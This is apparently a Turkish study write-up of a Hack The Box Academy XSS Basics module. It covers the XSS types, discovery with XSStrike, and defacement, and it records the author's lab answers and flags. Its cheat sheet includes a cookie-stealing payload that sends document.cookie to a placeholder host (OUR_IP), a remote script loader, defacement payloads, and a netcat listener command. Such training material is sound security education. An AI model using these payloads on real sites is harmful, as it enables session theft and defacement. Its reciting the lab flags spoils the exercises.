HTB ACADEMY- Xss Basics

HTB ACADEMY - Xss Basics

Giriş

Web uygulamaları daha da gelişmiş ve yaygın hale geldikçe, web uygulaması güvenlik açıkları da artmaktadır. En yaygın web uygulaması güvenlik açıkları arasında Cross-Site Scripting (XSS) açıklıkları bulunmaktadır. XSS açıklıkları, kullanıcı girişlerinin temizlenmesindeki bir kusuru kullanarak, JavaScript kodunu sayfaya “print” ve istemci tarafında çalıştırmak suretiyle çeşitli saldırı türlerine yol açar.

XSS Nedir?

Tipik bir web uygulaması, HTML kodunu arka uç sunucusundan alır ve istemci tarafındaki internet tarayıcısında bu kodu işler. Kırılgan bir web uygulaması, kullanıcı girişlerini uygun şekilde temizlemezse, kötü niyetli bir kullanıcı ekstra JavaScript kodunu bir giriş alanına (örneğin, yorum/yorum yanıtı) enjekte edebilir, böylece başka bir kullanıcı aynı sayfayı görüntülerken, bu kodu bilmeksizin kötü niyetli JavaScript kodunu yürütür.

XSS açıklıkları yalnızca istemci tarafında yürütülür ve dolayısıyla doğrudan arka uç sunucusunu etkilemezler. Yalnızca açığı çalıştıran kullanıcıyı etkileyebilirler. XSS açıklıklarının arka uç sunucusuna doğrudan etkisi nispeten düşük olabilir, ancak web uygulamalarında çok yaygın bulunurlar, bu da orta düzeyde bir risk oluşturur (düşük etki + yüksek olasılık = orta düzeyde risk). Bu tür açıklıkları tespit ederek, gidererek ve proaktif olarak önleyerek riski her zaman azaltmaya çalışmalıyız.

XSS Saldırıları

XSS açıklıkları, tarayıcı JavaScript kodu aracılığıyla yürütülebilecek geniş bir saldırı yelpazesine olanak tanır. Bir XSS saldırısının temel bir örneği, hedef kullanıcının oturum çerezini bilmeden saldırganın web sunucusuna göndermesidir. Başka bir örnek, hedefin tarayıcısının kötü niyetli bir işleme yol açan API çağrılarını yürütmesidir, örneğin, kullanıcının şifresini saldırganın seçtiği bir şifreyle değiştirmesi gibi. Bitcoin madenciliğinden reklamların görüntülenmesine kadar pek çok başka türde XSS saldırısı vardır.

XSS saldırıları tarayıcı içinde JavaScript kodunu yürüttüğü için, tarayıcının JS motoruyla (örneğin, Chrome’daki V8) sınırlıdırlar. Sistem genelinde JavaScript kodu yürütemezler, yani sistem düzeyinde kod yürütme gibi bir şey yapamazlar. Modern tarayıcılarda, kırılgan web sitesinin aynı alanına da sınırlıdırlar. Bununla birlikte, bir kullanıcının tarayıcısında JavaScript’i yürütebilme yeteneği yine de yukarıda bahsedildiği gibi çeşitli saldırılara yol açabilir. Buna ek olarak, eğer bir yetenekli araştırmacı bir web tarayıcısında ikili bir açık keşfederse (örneğin, Chrome’da bir Heap taşması), hedefin tarayıcısında bir JavaScript saldırısını yürütmek için bir XSS açığını kullanabilir, bu da sonunda tarayıcının kum havuzundan çıkarak kullanıcının makinesinde kod yürütür.

XSS açıklıkları neredeyse tüm modern web uygulamalarında bulunabilir ve son iki on yıldır aktif olarak sömürülmektedir. Bilinen bir XSS örneği, 2005 yılında sosyal ağ web sitesi MySpace’de depolanan bir XSS açığından yararlanan Samy Worm’dur. Enfekte bir web sayfasını görüntülerken gerçekleşir ve kurbanın MySpace sayfasına “Samy benim kahramanımdır” şeklinde bir mesaj göndererek çalışır. Mesaj kendisi aynı JavaScript yükünü içeriyordu ve diğerleri tarafından görüntülendiğinde aynı mesajı tekrar gönderiyordu. Bir günde, bir milyondan fazla MySpace kullanıcısının sayfalarında bu mesaj yayınlanmıştı. Bu belirli yük gerçekten herhangi bir zarar vermediği halde, açık daha zararlı amaçlar için kullanılabilirdi, örneğin, kullanıcıların kredi kartı bilgilerini çalmak, tarayıcılarına keylogger’lar yüklemek veya hatta kullanıcıların web tarayıcılarında bir ikili açığı sömürmek (o zamanlar web tarayıcılarında daha yaygındı).

2014 yılında, bir güvenlik araştırmacısı Twitter’ın TweetDeck gösterge panelinde bir XSS açığı keşfetti. Bu açıklık, Twitter’da otomatik olarak kendi kendini yeniden tweet atan bir tweet oluşturmak için kullanıldı ve tweet, iki dakikadan az bir sürede 38.000'den fazla retweet alarak yayıldı. Sonunda, Twitter, açığı yamalarken TweetDeck’i geçici olarak kapatmak zorunda kaldı.

Günümüze kadar, hatta en önemli web uygulamalarında bile sömürülebilecek XSS açıklıkları bulunmaktadır. Hatta Google’ın arama motoru sayfasında bile arama çubuğunda birden fazla XSS açığı bulunmuştur, en son 2019'da XML kütüphanesinde bir XSS açığı bulunmuştur. Ayrıca, internetin en yaygın kullanılan web sunucusu olan Apache Sunucusu bir zamanlar belirli şirketlerin kullanıcı şifrelerini çalmak için aktif olarak kullanılan bir XSS açığı rapor etmiştir. Tüm bunlar bize XSS açıklıklarının ciddiye alınması gerektiğini ve bunları tespit etmek ve önlemek için iyi bir çaba harcanması gerektiğini söyler.

XSS Türleri

Üç ana XSS güvenlik açığı türü vardır:

Stored (Persistent) XSS :Kullanıcı girişi arka uç veritabanında saklandıktan sonra geri alındığında görüntülendiğinde ortaya çıkan en kritik XSS türüdür (örneğin, gönderiler veya yorumlar).

Reflected (Non-Persistent) XSS :Kullanıcı girişi arka uç sunucusu tarafından işlendikten sonra sayfada görüntülenir, ancak saklanmaz (örneğin, arama sonucu veya hata mesajı).

DOM tabanlı XSS :Başka bir Geçici Olmayan XSS türüdür ve kullanıcı girişi doğrudan tarayıcıda gösterildiğinde ve tamamen istemci tarafında işlendiğinde ortaya çıkar, arka uç sunucusuna ulaşmadan (örneğin, istemci tarafı HTTP parametreleri veya anchor etiketleri aracılığıyla).

İlerleyen bölümlerde bu türlerin her birini ele alacağız ve her birinin nasıl gerçekleştiğini görmek için alıştırmalar yapacağız ve ardından her birinin saldırılarda nasıl kullanılabileceğini göreceğiz.

Stored XSS

XSS açıklıklarını keşfetmeyi ve çeşitli saldırılarda bunları nasıl kullanacağımızı öğrenmeden önce, her tür saldırıda hangi türü kullanacağımızı bilmek için farklı XSS açıklığı türlerini ve farklarını anlamamız gerekmektedir.

İlk ve en kritik XSS açıklığı türü Depolanan XSS veya Kalıcı XSS’dir. Eğer enjekte ettiğimiz XSS yükü arka uç veritabanına kaydedilir ve sayfayı ziyaret ettiğimizde geri alınırsa, bu demektir ki XSS saldırımız kalıcıdır ve sayfayı ziyaret eden herhangi bir kullanıcıyı etkileyebilir.

Bu, bu tür XSS’i en kritik yapan şeydir, çünkü sayfayı ziyaret eden herhangi bir kullanıcı bu saldırının kurbanı olabilir. Dahası, Depolanan XSS kolayca kaldırılamayabilir ve yükün arka uç veritabanından kaldırılması gerekebilir.

Aşağıdaki sunucuyu başlatarak Depolanan XSS örneğini görüntüleyebilir ve uygulayabiliriz. Görebileceğimiz gibi, web sayfası basit bir yapılacaklar listesi uygulamasıdır ve öğeler ekleyebiliriz. Bir yeni öğe eklemek için “test” yazıp enter/tuşuna basmayı deneyebiliriz ve sayfanın bunu nasıl işlediğini görebiliriz:

Gördüğümüz gibi, girişimiz sayfada görüntülendi. Eğer girişimize herhangi bir temizleme veya filtreleme uygulanmadıysa, sayfa XSS’e duyarlı olabilir.

XSS Testing Payloads

Sayfanın XSS’e duyarlı olup olmadığını aşağıdaki temel XSS yüküyle test edebiliriz:

`<script>alert(window.origin)</script>`

Bu payload’u kullanıyoruz çünkü XSS payload’unun başarıyla yürütüldüğünü anlamak için çok kolay fark edilebilir bir yöntemdir. Sayfa herhangi bir girişe izin veriyor ve giriş üzerinde herhangi bir temizleme işlemi gerçekleştirmiyorsa, o zaman uyarı, payloadumuzu girdikten hemen sonra veya sayfayı yenilediğimizde doğrudan yürütüldüğü sayfanın URL’si ile ortaya çıkmalıdır.

Gördüğümüz gibi, gerçekten de uyarı aldık, bu da sayfanın XSS’ye karşı savunmasız olduğu anlamına geliyor, çünkü yükümüz başarıyla çalıştırıldı. Bunu [CTRL+U] tuşlarına tıklayarak veya sağ tıklayıp Sayfa Kaynağını Görüntüle’yi seçerek sayfa kaynağına bakarak doğrulayabiliriz ve yükümüzü sayfa kaynağında görmeliyiz:

<div></div><ul class="list-unstyled" id="todo"><ul><script>alert(window.origin)</script>
</ul></ul>

İpucu: Birçok modern web uygulaması, kullanıcı girişlerini işlemek için çapraz etki alanı IFrameleri kullanır, bu nedenle web formu XSS’ye duyarlı olsa bile, bu ana web uygulamasında bir zafiyet olmaz. Bu yüzden, bir statik değer yerine, alert kutusunda window.origin’in değerini gösteriyoruz. Bu durumda, alert kutusu yürütüldüğü URL’yi ortaya çıkaracak ve bir IFrame kullanılıyorsa hangi formun savunmasız olduğunu onaylayacaktır .

Bazı modern tarayıcılar özel konumlarda alert() JavaScript işlevini engelleyebileceğinden, XSS’nin varlığını doğrulamak için birkaç temel XSS payloadunu bilmek yararlı olabilir. Bu türden bir XSS payloadu, HTML kodunun ardından gelen kodu durduracak ve onu düz metin olarak gösterecek olan <plaintext> işareti. Başka bir kolay fark edilebilir payload ise, herhangi bir tarayıcı tarafından engellenmeyeceği olası olan tarayıcı yazdırma iletişim kutusunu açacak olan <script>print()</script> işaretidir. Her birinin nasıl çalıştığını görmek için bu payloadları kullanmayı deneyin. Mevcut payloadları kaldırmak için sıfırlama düğmesini kullanabilirsiniz.

Payload’un kalıcı olup olmadığını ve arka uçta saklandığını görmek için sayfayı yenileyebilir ve alert’in tekrar gelip gelmediğini kontrol edebiliriz. Eğer gelirse, alert’i sayfa yenilemeleri boyunca sürekli olarak aldığımızı göreceğiz, bu da gerçekten Saklanmış XSS zafiyeti olduğunu doğrulayacaktır. Bu, yalnızca bizim için değil, sayfayı ziyaret eden herhangi bir kullanıcı da XSS payload’unu tetikleyecek ve aynı alert’i alacaktır.

Sorular

Bu Bölümü tamamlamak ve küp kazanmak için aşağıdaki soru(lar)ı yanıtlayın! + 2 Flağı almak için yukarıda kullandığımız aynı yükü kullanın, ancak JavaScript kodunu url’yi göstermek yerine çerezi gösterecek şekilde değiştirin.

<script>alert(document.cookie)</script> payloadını kullandım

cookie=HTB{570r3d_f0r_3v3ry0n3_70_533}

xss cheatsheet

Code                                                                                                                    Description
<script>alert(window.origin)</script>                                      Basic XSS Payload
<plaintext>                                                                                                   Basic XSS Payload
<script>print()</script>                                                                         Basic XSS Payload
<img src="" onerror=alert(window.origin)>                          HTML-based XSS Payload
<script>document.body.style.background = "#141d2b"</script>         Change Background Color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>               Change Background Image
<script>document.title = 'HackTheBox Academy'</script>               Change Website Title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>               Overwrite website's main body
<script>document.getElementById('urlform').remove();</script>                                                  Remove certain HTML element
<script src="http://OUR_IP/script.js"></script> Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>              Send Cookie details to us
Commands 
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"                Run xsstrike on a url parameter
sudo nc -lvnp 80 Start                       netcat listener
sudo php -S 0.0.0.0:80                     Start PHP server

Reflected XSS

İki tür Non-Persistent (Kalıcı Olmayan) XSS zafiyeti vardır: Reflected XSS, arka uç sunucusu tarafından işlenir ve hiçbir zaman arka uç sunucusuna ulaşmayan DOM-tabanlı XSS (DOM-based XSS) ile birlikte. Kalıcı XSS’in aksine, Non-Persistent XSS zafiyetleri geçicidir ve sayfa yenilemeleri aracılığıyla kalıcı değildir. Dolayısıyla, saldırılarımız yalnızca hedeflenen kullanıcıyı etkiler ve sayfayı ziyaret eden diğer kullanıcıları etkilemez.

Reflected XSS zafiyetleri, girişimizin arka uç sunucusuna ulaşması ve filtrelenmeden veya temizlenmeden bize geri dönmesi durumunda ortaya çıkar. Hata mesajları veya onay mesajları gibi durumlarda, tüm girişimizin bize geri dönebileceği birçok durum vardır. Bu durumlarda, XSS payloadlarını kullanarak yürütülüp yürütülmeyeceğini görmeye çalışabiliriz. Ancak, bunlar genellikle geçici mesajlar olduğundan, sayfadan ayrıldığımızda tekrar yürütülmezler ve bu nedenle Non-Persistent’tirler.

Reflected XSS zafiyeti bulunan bir web sayfasında pratik yapmak için aşağıdaki sunucuyu başlatabiliriz. Bu, önceki bölümde pratiğini yaptığımız To-Do List uygulamasına benzer bir uygulamadır. Nasıl işlendiğini görmek için herhangi bir test dizesi eklemeyi deneyebiliriz:

Görebileceğiniz gibi, ‘test’ görevi eklenemedi., hatasıyla karşılaşıyoruz, bu da girdimizin bir parçası olarak test’i içeriyor. Girişimiz filtrelenmemiş veya temizlenmemişse, sayfa XSS’e karşı savunmasız olabilir. Önceki bölümde kullandığımız aynı XSS payload’ını deneyebilir ve Ekle’ye tıklayabiliriz:

Ekle’ye tıkladığımızda, uyarı açılır penceresini alırız:

Bu durumda, hata mesajında artık Görev ‘’ eklenemedi… yazdığını görüyoruz. Yükümüz bir <script> etiketiyle sarıldığından, tarayıcı tarafından işlenmez, bu nedenle bunun yerine boş tek tırnak ‘’ alırız. Hata mesajının XSS yükümüzü içerdiğini doğrulamak için sayfa kaynağını bir kez daha görüntüleyebiliriz:

<div></div><ul class="list-unstyled" id="todo"><div style="padding-left:25px">Task '<script>alert(window.origin)</script>' could not be added.</div></ul>

Gördüğümüz gibi, tek tırnaklar gerçekten XSS payload’ımızı

'<script>alert(window.origin)</script>' içeriyor.

Reflected sayfasını tekrar ziyaret edersek, artık hata mesajı görünmez ve XSS payload’ımız yürütülmez, bu da bu XSS zafiyetinin gerçekten Non-Persistent olduğu anlamına gelir.

Ancak XSS zafiyeti Non-Persistent ise, bununla nasıl kurbanları hedefleyebiliriz?

Bu, girişimizin sunucuya hangi HTTP isteğiyle gönderildiğine bağlıdır. Firefox Geliştirici Araçları’nı [CTRL+I] tuşuna basarak ve Ağ sekmesini seçerek kontrol edebiliriz. Sonra, test payload’unu tekrar ekleyebilir ve göndermek için Ekle’ye tıklayabiliriz:

Gördüğümüz gibi, ilk satır isteğimizin bir GET isteği olduğunu göstermektedir. GET istekleri parametrelerini ve verilerini URL’nin bir parçası olarak gönderir. Dolayısıyla, bir kullanıcıyı hedeflemek için onlara payload’ımızı içeren bir URL gönderebiliriz. URL’yi almak için, XSS payload’umuzu gönderdikten sonra Firefox’un URL çubuğundan URL’yi kopyalayabiliriz veya Ağ sekmesindeki GET isteğine sağ tıklayıp Kopyala>Kopyala URL’yi seçebiliriz. Kurban bu URL’yi ziyaret ettiğinde, XSS payload’ı yürütülecektir:

Sorular Bu Bölümü tamamlamak ve küp kazanmak için aşağıdaki soru(lar)ı yanıtlayın!

- 2 Flağı almak için yukarıda kullandığımız aynı yükü kullanın, ancak JavaScript kodunu url’yi göstermek yerine çerezi gösterecek şekilde değiştirin.

<script>alert(window.origin)</script> payloadını

kullandığımda eklenmediğini söylüyor.

<script>alert(document.cookie)</script>

payloadını kullandığımda ise flağı veriyor

DOM XSS

Üçüncü ve son tür XSS, DOM tabanlı XSS olarak adlandırılan başka bir Non-Persistent türdür. Reflected XSS giriş verilerini HTTP istekleri aracılığıyla arka uç sunucusuna gönderirken, DOM XSS tamamen JavaScript aracılığıyla istemci tarafında işlenir. DOM XSS, JavaScript’in Belge Nesne Modeli (DOM) aracılığıyla sayfa kaynağını değiştirdiğinde meydana gelir.

Aşağıdaki sunucuyu çalıştırarak, DOM XSS’e duyarlı bir web uygulaması örneğini görebiliriz. Bir test öğesi eklemeyi deneyebilir ve web uygulamasının daha önce kullandığımız To-Do List web uygulamalarına benzer olduğunu görebiliriz:

Ancak, Firefox Geliştirici Araçları’ndaki Ağ sekmesini açarsak ve test öğesini yeniden eklersek, hiçbir HTTP isteği yapılmadığını fark ederiz:

Gördüğümüz gibi, URL’deki giriş parametresi eklediğimiz öğe için bir hashtag # kullanıyor, bu da bu parametrenin tarayıcıda tamamen işlenen bir istemci tarafı parametresi olduğunu gösterir. Bu, girişin JavaScript aracılığıyla istemci tarafında işlendiğini ve hiçbir zaman arka uca ulaşmadığını belirtir; dolayısıyla bu bir DOM tabanlı XSS’tir.

Ayrıca, [CTRL+I] tuşuna basarak sayfa kaynağına baktığımızda, test dizesinin hiçbir yerde bulunmadığını fark ederiz. Bu, JavaScript kodunun Add düğmesine tıkladığımızda sayfayı güncellediği anlamına gelir, bu da tarayıcımız tarafından sayfa kaynağı alındıktan sonra gerçekleşir, bu nedenle temel sayfa kaynağı girişimizi göstermez, ve sayfayı yenilersek, saklanmaz (yani, Non-Persistent). Web İzleyici aracını [CTRL+SHIFT+C] tuşuna basarak kullanarak yine de oluşturulmuş sayfa kaynağını görebiliriz:

Source & Sink

DOM tabanlı XSS zafiyetinin doğasını daha iyi anlamak için, sayfada görüntülenen nesnenin Kaynak ve Akış kavramını anlamamız gerekir. Kaynak, kullanıcı girdisini alan JavaScript nesnesidir ve yukarıda gördüğümüz gibi URL parametresi veya bir giriş alanı gibi herhangi bir giriş parametresi olabilir.

Öte yandan, Akış, kullanıcı girdisini sayfada bir DOM Nesnesine yazan işlevdir. Akış işlevi kullanıcı girdisini uygun şekilde temizlemezse, XSS saldırısına açık olabilir. DOM nesnelerine yazmak için yaygın olarak kullanılan bazı JavaScript işlevleri şunlardır:

- document.write()

- DOM.innerHTML

- DOM.outerHTML

Ayrıca, DOM nesnelerine yazan bazı jQuery kütüphane işlevleri şunlardır:

- add()

- after()

- append()

Bir Akış işlevi (yukarıdaki işlevler gibi) tam olarak girişi herhangi bir temizleme yapmadan yazarsa ve başka herhangi bir temizleme yöntemi kullanılmamışsa, o zaman sayfanın XSS’e açık olması gerektiğini biliriz.

To-Do web uygulamasının kaynak koduna bakabiliriz ve script.js dosyasını kontrol edebiliriz, ve kaynağın task= parametresinden alındığını göreceğiz:

var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);

Bu satırların hemen altında, sayfanın task değişkenini todo DOM’unda innerHTML işlevini kullanarak yazdığını görürüz:

javascriptCopy codedocument.getElementById("todo").innerHTML = "<b>Sıradaki Görev:</b> " + decodeURIComponent(task);

Bu nedenle, girdiyi kontrol edebileceğimizi ve çıktının temizlenmediğini görebiliriz, bu nedenle bu sayfa DOM XSS’e açık olmalıdır.

DOM Saldırıları Daha önce kullandığımız XSS payload’unu denerseniz, yürütülmeyeceğini göreceksiniz. Bu, innerHTML işlevinin <script> etiketlerini içermesine izin vermediği için bir güvenlik özelliği olarak gerçekleşir. Ancak, <script> etiketlerini içermeyen birçok başka XSS payload’u olduğundan, şu gibi <script> etiketleri içermeyen XSS payload’larını kullanabiliriz:

<img src="" onerror=alert(window.origin)>

Yukarıdaki satır, bir JavaScript kodu yürütebilen bir onerror özniteliğine sahip yeni bir HTML resim nesnesi oluşturur. Bu nedenle, boş bir resim bağlantısı (“”) sağladığımızda, kodumuz her zaman <script> etiketlerini kullanmadan yürütülür.

Bu DOM XSS zafiyetiyle bir kullanıcıyı hedeflemek için, bir kez daha tarayıcıdan URL’yi kopyalayabilir ve onlarla paylaşabiliriz, ve ziyaret ettiklerinde JavaScript kodu yürütülmelidir. Bu iki payload da en temel XSS payloadlarından biridir. Web uygulamasının güvenliğine ve tarayıcıya bağlı olarak çeşitli payload’ları kullanmamız gereken birçok durum vardır, bunu bir sonraki bölümde tartışacağız.

Sorular

Bu Bölümü tamamlamak ve küp kazanmak için aşağıdaki soru(lar)ı yanıtlayın!

- 2 Bayrağı almak için yukarıda kullandığımız aynı yükü kullanın, ancak JavaScript kodunu url’yi göstermek yerine çerezi gösterecek şekilde değiştirin.

<img src="" onerror=alert(document.cookie)>

payloadını kullandığımızda flağa ulaşabiliyoruz

XSS Keşfi

Şimdiye kadar, bir XSS zafiyetinin ne olduğunu, üç tür XSS’i ve her bir türün diğerlerinden nasıl farklı olduğunu iyi anlamalıyız. Ayrıca, XSS’in nasıl çalıştığını da anlamalıyız; çünkü JavaScript kodunu istemci tarafı sayfa kaynağına enjekte ederek ek kodları yürütür, bu da sonradan nasıl avantajımıza kullanılacağını öğreneceğiz.

Bu bölümde, bir web uygulaması içindeki XSS zafiyetlerini tespit etmenin çeşitli yollarını ele alacağız. Web uygulaması zafiyetlerinde (ve genel olarak tüm zafiyetlerde), tespit etmek onları istismar etmek kadar zor olabilir. Ancak, XSS zafiyetleri yaygın olduğundan, birçok araç bize bu zafiyetleri tespit etme ve tanımlama konusunda yardımcı olabilir.

Otomatik Keşif

Nessus, Burp Pro veya ZAP gibi neredeyse tüm Web Uygulama Zafiyet Tarayıcıları, üç tür XSS zafiyetini tespit etme yeteneklerine sahiptir. Bu tarayıcılar genellikle iki tür tarama yapar: Pasif Tarama, potansiyel DOM tabanlı zafiyetler için istemci tarafı kodunu gözden geçirir ve Aktif Tarama, XSS’i sayfa kaynağına payload enjeksiyonu ile tetiklemeye çalışmak için çeşitli türde payload’lar gönderir.

Ücretli araçlar genellikle XSS zafiyetlerini tespit etmede daha yüksek bir doğruluk seviyesine sahiptir (özellikle güvenlik atlatmaları gerektiğinde), ancak potansiyel XSS zafiyetlerini tanımlamada bize yardımcı olabilecek açık kaynaklı araçlar bulabiliriz. Bu tür araçlar genellikle web sayfalarındaki giriş alanlarını tanımlayarak çeşitli XSS payload’ları gönderir ve ardından işlenmiş sayfa kaynağını karşılaştırarak aynı payload’un bulunup bulunmadığını kontrol eder; bu da başarılı bir XSS enjeksiyonunu işaret edebilir. Bununla birlikte, bu her zaman doğru olmayabilir, çünkü bazen aynı payload enjekte edilse bile, çeşitli nedenlerden dolayı başarılı bir yürütme olmayabilir, bu yüzden XSS enjeksiyonunu her zaman manuel olarak doğrulamalıyız.

XSS keşfi konusunda bize yardımcı olabilecek yaygın açık kaynaklı araçlar XSS Strike, Brute XSS ve XSSer’dir. XSS Strike’ı VM’mize git clone ile klonlayarak deneyebiliriz:

songül@htb[/htb]$ git clone https://github.com/s0md3v/XSStrike.git
songül@htb[/htb]$ cd XSStrike
songül@htb[/htb]$ pip install -r requirements.txt
songül@htb[/htb]$ python xsstrike.py

XSStrike v3.1.4
...SNIP...

Daha sonra betiği çalıştırabilir ve -u kullanarak bir parametre ile bir URL sağlayabiliriz. Önceki bölümdeki Reflected XSS örneğimizle kullanmayı deneyelim:

songül@htb[/htb]$ python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
XSStrike v3.1.4

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: task 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()> 
[!] Efficiency: 100 
[!] Confidence: 10 
[?] Would you like to continue scanning? [y/N]

Görüldüğü gibi, araç parametreyi ilk payload ile XSS’e karşı savunmasız olarak tanımladı. Yukarıdaki payload’u doğrulamak için önceki egzersizlerden birinde test etmeyi deneyin. Ayrıca diğer araçları deneyebilir ve bunları aynı egzersizlerde çalıştırarak XSS zafiyetlerini tespit etme yeteneklerini görebilirsiniz.

Manuel Keşif

Manuel XSS keşfi söz konusu olduğunda, XSS zafiyetini bulma zorluğu web uygulamasının güvenlik düzeyine bağlıdır. Temel XSS zafiyetleri genellikle çeşitli XSS payload’ları test edilerek bulunabilir, ancak gelişmiş XSS zafiyetlerini tanımlamak gelişmiş kod inceleme becerileri gerektirir.

XSS Payload’ları

XSS zafiyetlerini aramanın en temel yöntemi, belirli bir web sayfasındaki bir giriş alanına çeşitli XSS payload’larını manuel olarak test etmektir. PayloadAllTheThings veya PayloadBox gibi çevrimiçi büyük payload listeleri bulabiliriz. Sonra, bu payload’ları birer birer kopyalayarak formumuza ekleyebilir ve bir uyarı kutusu çıkıp çıkmadığını görebiliriz.

Not: XSS, HTML sayfasındaki herhangi bir girişe enjekte edilebilir ve bu sadece HTML giriş alanlarına özgü değildir, ancak HTTP başlıklarında da olabilir, örneğin Çerez veya Kullanıcı Ajanı (yani, değerleri sayfada görüntülendiğinde).

Yukarıdaki payload’ların çoğunun, en temel XSS zafiyetleriyle uğraşsak bile, örnek web uygulamalarımızla çalışmadığını fark edeceksiniz. Bu, bu payload’ların çeşitli enjeksiyon noktaları için yazılmış olması (tek tırnak sonrası enjekte etme gibi) veya belirli güvenlik önlemlerini atlatmak için tasarlanmış olması nedeniyle olabilir. Ayrıca, bu tür payload’lar, JavaScript kodunu yürütmek için temel <script> etiketlerini, <img> gibi diğer HTML Özniteliklerini veya hatta CSS Stil özniteliklerini kullanır. Bu nedenle, bu payload’ların birçoğunun belirli türdeki enjeksiyonlarla çalışacak şekilde tasarlandığı için, tüm test durumlarında çalışmayacağını bekleyebiliriz.

Bu nedenle, XSS payload’larını manuel olarak kopyalayıp yapıştırmak çok verimli değildir, çünkü bir web uygulaması savunmasız olsa bile, bir zafiyeti tanımlamak bir süre alabilir, özellikle test edilmesi gereken birçok giriş alanı varsa. Bu nedenle, bu payload’ları otomatik olarak göndermek ve ardından sayfa kaynağını karşılaştırarak payload’larımızın nasıl işlendiğini görmek için kendi Python betiğimizi yazmak daha etkili olabilir. Bu, XSS araçlarının kolayca payload gönderip karşılaştıramayacağı gelişmiş durumlarda bize yardımcı olabilir. Bu şekilde, aracımızı hedef web uygulamamıza özelleştirmenin avantajına sahip oluruz. Ancak, bu, XSS keşfinin ileri düzey bir yaklaşımıdır ve bu modülün kapsamı dışındadır.

Kod İnceleme

XSS zafiyetlerini tespit etmenin en güvenilir yöntemi manuel kod incelemesidir ve hem arka uç hem de ön uç kodunu kapsamalıdır. Girişimizin web tarayıcısına kadar nasıl işlendiğini tam olarak anlarsak, güvenle çalışması gereken özel bir payload yazabiliriz.

Önceki bölümde, DOM tabanlı XSS zafiyetleri için Kaynak ve Akışı tartışırken temel bir HTML kod incelemesi örneğine baktık. Bu, XSS zafiyetlerini tanımlamada ön uç kod incelemenin nasıl çalıştığına hızlı bir bakış sağladı, ancak çok temel bir ön uç örneği üzerinden.

Daha yaygın web uygulamaları için payload listeleri veya XSS araçları aracılığıyla herhangi bir XSS zafiyeti bulmayız. Bunun nedeni, böyle web uygulamalarının geliştiricilerinin muhtemelen uygulamalarını zafiyet değerlendirme araçlarından geçirip daha sonra herhangi bir tespit edilen zafiyeti yayınlamadan önce yaması olmasıdır. Bu tür durumlar için, manuel kod incelemesi, yaygın web uygulamalarının kamuya sürümlerinde hayatta kalabilen tespit edilmemiş XSS zafiyetlerini ortaya çıkarabilir. Bunlar da bu modülün kapsamı dışında olan ileri düzey tekniklerdir. Ancak, ilgileniyorsanız, Secure Coding 101: JavaScript ve Whitebox Pentesting 101: Komut Enjeksiyonu modülleri bu konuyu detaylı olarak ele alır

Sorular Bu Bölümü tamamlamak ve küp kazanmak için aşağıdaki soru(lar)ı yanıtlayın!

- 2 Yukarıdaki sunucuda bulunan savunmasız girdi parametresini tanımlamak için bu bölümde bahsedilen tekniklerden bazılarını kullanın. Savunmasız parametrenin adı nedir? get isteğinde her parametreyi değiştirdim

- mail parametresini değiştirdiğimde ise alert çıkardı

mail

Gönder İpucu + 2 Yukarıdaki sunucuda ne tür bir XSS bulundu? “sadece isim”

Reflected

Defacing

XSS’nin farklı türlerini ve web sayfalarındaki XSS açıklarını keşfetmek için çeşitli yöntemleri anladığımıza göre, bu XSS açıklarını nasıl sömürmeyi öğrenmeye başlayabiliriz. Daha önce belirtildiği gibi, bir XSS saldırısının zararı ve kapsamı, XSS’nin türüne bağlıdır; saklanmış bir XSS en kritik olanı iken, DOM tabanlı olanı daha az önemlidir.

Saklanmış XSS açıkları ile genellikle kullanılan en yaygın saldırılardan biri web sitesi defacing saldırılarıdır. Bir web sitesini defacing etmek, web sitesini ziyaret eden herkesin görünümünü değiştirmek anlamına gelir. Hacker gruplarının bir web sitesini defacing etmesi ve başarılı bir şekilde hacklediklerini iddia etmeleri çok yaygındır, örneğin hacker’ların 2018'de İngiltere Ulusal Sağlık Servisi’ni (NHS) defacing etmesi gibi. Bu tür saldırılar büyük medya yankısı taşıyabilir ve özellikle bankalar ve teknoloji firmaları için şirketlerin yatırımlarını ve hisse senetlerini önemli ölçüde etkileyebilir.

Aynı şeyi başarmak için birçok başka güvenlik açığı kullanılabilir olsa da, saklanmış XSS açıkları bunu yapmak için en çok kullanılan güvenlik açıkları arasındadır.

Defacing Elemanları

Bir web sayfasını istediğimiz gibi göstermek için (XSS aracılığıyla) enjekte edilmiş JavaScript kodunu kullanabiliriz. Ancak, bir web sitesini defacing etmek genellikle basit bir mesaj göndermek için kullanılır (örneğin, sizi başarıyla hackledik), bu nedenle defaced web sayfasına güzel bir görünüm kazandırmak genellikle asıl hedef değildir.

Bir web sayfasının ana görünümünü değiştirmek için genellikle üç HTML öğesi kullanılır:

Background Color document.body.style.background
Background document.body.background
Page Title document.title
Page Text DOM.innerHTML

Arka Planı Değiştirme

Stored XSS egzersizimize geri dönelim ve bunu saldırımızın temeli olarak kullanalım. Sunucuyu başlatmak için Stored XSS bölümüne geri dönebilir ve aşağıdaki adımları izleyebilirsiniz.

Bir web sayfasının arka planını değiştirmek için belirli bir renk seçebilir veya bir resim kullanabiliriz. Çoğu defacing saldırısı arka plan için koyu bir renk kullanır, bu nedenle arka plan olarak bir renk kullanacağız. Bunu yapmak için aşağıdaki yükü kullanabiliriz:

<script>document.body.style.background = "#141d2b"</script>

Not: Burada arka plan rengini varsayılan Hack The Box arka plan rengine ayarladık. Başka herhangi bir onaltılık değeri kullanabiliriz veya “siyah” gibi adlandırılmış bir renk kullanabiliriz.

Yükümüzü Yapılacaklar listesine eklediğimizde, arka plan renginin değiştiğini göreceğiz:

Bu, bir sayfa yenilemesi sırasında kalıcı olacak ve depolanan bir XSS zafiyetini kullanarak sayfayı ziyaret eden herkes için görünecektir.

Başka bir seçenek, aşağıdaki yükü kullanarak arka plana bir resim ayarlamaktır:

<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>

Nihai sonucun nasıl görünebileceğini görmek için yukarıdaki yükü kullanmayı deneyin.

